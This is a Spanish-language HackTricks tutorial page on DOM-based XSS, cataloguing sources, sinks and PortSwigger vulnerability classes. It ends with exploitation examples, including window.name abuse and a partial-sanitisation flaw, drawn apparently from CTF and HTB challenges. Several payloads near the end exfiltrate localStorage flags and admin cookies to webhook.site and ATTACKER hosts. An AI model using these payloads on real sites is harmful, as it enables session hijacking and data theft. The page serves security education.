DOM XSS
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Vulnerabilidades DOM
Las vulnerabilidades DOM ocurren cuando datos provenientes de sources controladas por el atacante (como location.search, document.referrer, o document.cookie) se transfieren de forma insegura a sinks. Los sinks son funciones u objetos (p. ej., eval(), document.body.innerHTML) que pueden ejecutar o renderizar contenido dañino si reciben datos maliciosos.
- Sources son entradas que pueden ser manipuladas por atacantes, incluyendo URLs, cookies y mensajes web.
- Sinks son endpoints potencialmente peligrosos donde datos maliciosos pueden causar efectos adversos, como la ejecución de scripts.
El riesgo surge cuando los datos fluyen desde una source a una sink sin la validación o el saneamiento adecuados, lo que posibilita ataques como XSS.
Tip
Puedes encontrar una lista más actualizada de sources y sinks en https://github.com/wisec/domxsswiki/wiki
Common sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Common Sinks:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.
Este tipo de XSS es probablemente el más difícil de encontrar, ya que necesitas mirar dentro del código JS, ver si está usando algún objeto cuyo valor controlas y, en ese caso, comprobar si hay alguna forma de abusar de ello para ejecutar JS arbitrario.
Tools to find them
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- Extensión de navegador para comprobar todos los datos que llegan a un sink potencial: https://github.com/kevin-mizu/domloggerpp
Examples
Open Redirect
De: https://portswigger.net/web-security/dom-based/open-redirection
Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.
It’s crucial to understand that executing arbitrary code, such as javascript:alert(1), is possible if you have control over the start of the URL where the redirection occurs.
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Cookie manipulation
From: https://portswigger.net/web-security/dom-based/cookie-manipulation
Las vulnerabilidades DOM-based de cookie-manipulation ocurren cuando un script incorpora datos, que pueden ser controlados por un atacante, en el valor de una cookie. Esta vulnerabilidad puede provocar comportamientos inesperados en la página web si la cookie se utiliza dentro del sitio. Además, puede explotarse para llevar a cabo un ataque de session fixation si la cookie está implicada en el seguimiento de sesiones de usuario. El sink principal asociado con esta vulnerabilidad es:
Sinks:
document.cookie
JavaScript Injection
From: https://portswigger.net/web-security/dom-based/javascript-injection
DOM-based JavaScript injection vulnerabilities se crean cuando un script ejecuta datos que pueden ser controlados por un atacante como código JavaScript.
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
Desde: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities ocurren cuando un script establece la propiedad document.domain usando datos que un atacante puede controlar.
La propiedad document.domain desempeña un papel clave en la aplicación de la same-origin policy por parte de los navegadores. Cuando dos páginas de orígenes diferentes establecen su document.domain al mismo valor, pueden interactuar sin restricciones. Aunque los navegadores imponen ciertos límites en los valores asignables a document.domain, impidiendo la asignación de valores completamente no relacionados con el origen real de la página, existen excepciones. Normalmente, los navegadores permiten el uso de subdominios o dominios padre.
Sinks:
document.domain
WebSocket-URL poisoning
Desde: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoning ocurre cuando un script utiliza datos controlables como la URL de destino para una conexión WebSocket.
Sinks:
El constructor WebSocket puede conducir a vulnerabilidades de WebSocket-URL poisoning.
Link manipulation
Desde: https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilities surgen cuando un script escribe datos controlables por el atacante en un objetivo de navegación dentro de la página actual, como un enlace clicable o la URL de envío de un formulario.
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
Fuente: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities surgen cuando un script escribe datos controlables por un atacante en una solicitud Ajax que se realiza usando un objeto XmlHttpRequest.
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
De: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilities surgen cuando un script pasa datos controlables por un atacante a una API de manejo de archivos como el parámetro filename. Esta vulnerabilidad puede ser explotada por un atacante para construir una URL que, si la visita otro usuario, podría provocar que el navegador del usuario abra o escriba un archivo local arbitrario.
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
From: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities ocurren cuando un script incorpora datos controlables por el atacante en una consulta SQL del lado del cliente de manera insegura.
Sinks:
executeSql()
HTML5-storage manipulation
De: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilities surgen cuando un script almacena datos controlables por un atacante en el almacenamiento HTML5 del navegador (localStorage o sessionStorage). Si bien esta acción no es inherentemente una vulnerabilidad de seguridad, se vuelve problemática si la aplicación posteriormente lee los datos almacenados y los procesa de forma insegura. Esto podría permitir a un atacante aprovechar el mecanismo de almacenamiento para llevar a cabo otros ataques basados en el DOM, como cross-site scripting y JavaScript injection.
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
From: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities ocurren cuando un script incorpora attacker-controllable data into an XPath query.
Sinks:
document.evaluate()
someDOMElement.evaluate()
Client-side JSON injection
From: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities ocurren cuando un script incorpora datos controlados por el atacante en una cadena que se analiza como una estructura de datos JSON y luego es procesada por la aplicación.
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
Fuente: https://portswigger.net/web-security/dom-based/web-message-manipulation
Web-message vulnerabilities se producen cuando un script envía datos controlados por el atacante como un web message a otro documento dentro del navegador. Un ejemplo de Web-message manipulation vulnerable puede encontrarse en PortSwigger’s Web Security Academy.
Sinks:
El método postMessage() para enviar web messages puede dar lugar a vulnerabilidades si el manejador de eventos que recibe los mensajes trata los datos entrantes de forma insegura.
DOM-data manipulation
Fuente: https://portswigger.net/web-security/dom-based/dom-data-manipulation
DOM-data manipulation vulnerabilities se producen cuando un script escribe datos controlados por el atacante en un campo dentro del DOM que se utiliza en la interfaz visible o en la lógica del lado del cliente. Esta vulnerabilidad puede ser explotada por un atacante para construir una URL que, si la visita otro usuario, puede alterar la apariencia o el comportamiento de la UI del lado del cliente.
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
Fuente: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities ocurren cuando un script pasa datos controlables por el atacante de forma insegura a una API de plataforma problemática. Esto incluye APIs que, cuando se invocan, pueden hacer que el equipo del usuario consuma cantidades excesivas de CPU o espacio en disco. Tales vulnerabilidades pueden tener efectos secundarios significativos, como que el navegador restrinja la funcionalidad del sitio web rechazando intentos de almacenar datos en localStorage o interrumpiendo scripts ocupados.
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
Variables globales implícitas & abuso de window.name
Referenciar name sin una declaración (var/let/const) se resuelve a window.name. Debido a que window.name persiste a través de navegaciones cross-origin, un atacante puede prellenar el nombre del contexto de navegación con HTML/JS y luego hacer que el código de la víctima lo renderice como datos de confianza:
- Abre/navega el objetivo en un contexto con nombre que controlas:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- O reutilizar
window.opencon un nombre de destino creado a medida:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
Si la aplicación posteriormente hace element.innerHTML = name (o un sink similar) sin sanitización, la cadena window.name controlada por el atacante se ejecuta en el origen de destino, permitiendo DOM XSS y acceso a same-origin storage.
Flujos Admin/automatización: almacenamiento precargado y navegación javascript:
Los bots de automatización (p. ej., Playwright) suelen visitar primero una página interna, establecer secretos en localStorage/cookies y luego navegar a URLs proporcionadas por el usuario. Cualquier primitiva de DOM XSS (incluido el abuso de window.name) en ese flujo puede exfiltrar el secreto precargado:
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
Si el bot no restringe los schemes, suministrar una URL javascript: (javascript:fetch(...)) se ejecuta en el origen actual sin nueva navegación, leak storage values directamente.
Template literal innerHTML + brechas de sanitización parcial
Los frontends que sanitizan solo campos seleccionados pero aún interpolan uno no confiable directamente en innerHTML son trivialmente explotables. Ejemplo:
fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});
Si el campo no saneado se almacena en el servidor (p. ej., el campo “details” de un bug report), la payload se convierte en stored DOM XSS para cualquier usuario privilegiado que vea la lista. Una payload simple como <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> se ejecuta cuando un admin abre la página y exfiltrates sus cookies.
Cuando la app deshabilita explícitamente SESSION_COOKIE_HTTPONLY (p. ej., Flask app.config['SESSION_COOKIE_HTTPONLY'] = False), la cookie robada concede inmediatamente la sesión del admin aunque el secreto de firma rote en cada arranque (un secret_key aleatorio impide la falsificación, pero el robo sigue funcionando).
References
- Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise
- HTB: Imagery (stored DOM XSS via partial DOMPurify + session theft)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


